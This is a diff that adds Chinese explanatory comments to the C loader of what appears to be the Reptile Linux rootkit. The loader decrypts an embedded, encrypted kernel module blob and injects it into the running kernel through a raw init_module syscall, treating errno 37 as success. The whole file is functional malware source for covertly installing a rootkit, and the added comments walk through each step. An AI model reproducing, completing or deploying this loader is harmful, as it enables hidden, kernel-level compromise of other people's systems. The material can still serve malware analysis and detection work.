|
|
|
@ -11,27 +11,37 @@
|
|
|
|
|
|
|
|
|
|
#include "encrypt.h"
|
|
|
|
|
|
|
|
|
|
// 定义一个字符数组,用于存储加密的内核模块数据
|
|
|
|
|
static char reptile_blob[] = {
|
|
|
|
|
#include "reptile.ko.inc"
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
// 定义init_module函数,用于加载内核模块
|
|
|
|
|
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
|
|
|
|
|
|
|
|
|
|
int main(void)
|
|
|
|
|
{
|
|
|
|
|
int ret = EXIT_FAILURE;
|
|
|
|
|
size_t len;
|
|
|
|
|
void *module_image;
|
|
|
|
|
int ret = EXIT_FAILURE;
|
|
|
|
|
size_t len;
|
|
|
|
|
void *module_image;
|
|
|
|
|
|
|
|
|
|
len = sizeof(reptile_blob);
|
|
|
|
|
do_decrypt(reptile_blob, len, DECRYPT_KEY);
|
|
|
|
|
module_image = malloc(len);
|
|
|
|
|
memcpy(module_image, reptile_blob, len);
|
|
|
|
|
init_module(module_image, len, "");
|
|
|
|
|
// 获取内核模块数据的长度
|
|
|
|
|
len = sizeof(reptile_blob);
|
|
|
|
|
// 对内核模块数据进行解密
|
|
|
|
|
do_decrypt(reptile_blob, len, DECRYPT_KEY);
|
|
|
|
|
// 分配内存用于加载内核模块
|
|
|
|
|
module_image = malloc(len);
|
|
|
|
|
// 将解密后的内核模块数据复制到分配的内存中
|
|
|
|
|
memcpy(module_image, reptile_blob, len);
|
|
|
|
|
// 加载内核模块
|
|
|
|
|
init_module(module_image, len, "");
|
|
|
|
|
|
|
|
|
|
if (errno == 37)
|
|
|
|
|
ret = EXIT_SUCCESS;
|
|
|
|
|
// 检查加载结果,如果errno为37,表示加载成功
|
|
|
|
|
if (errno == 37)
|
|
|
|
|
ret = EXIT_SUCCESS;
|
|
|
|
|
|
|
|
|
|
free(module_image);
|
|
|
|
|
return ret;
|
|
|
|
|
}
|
|
|
|
|
// 释放分配的内存
|
|
|
|
|
free(module_image);
|
|
|
|
|
// 返回加载结果
|
|
|
|
|
return ret;
|
|
|
|
|
}
|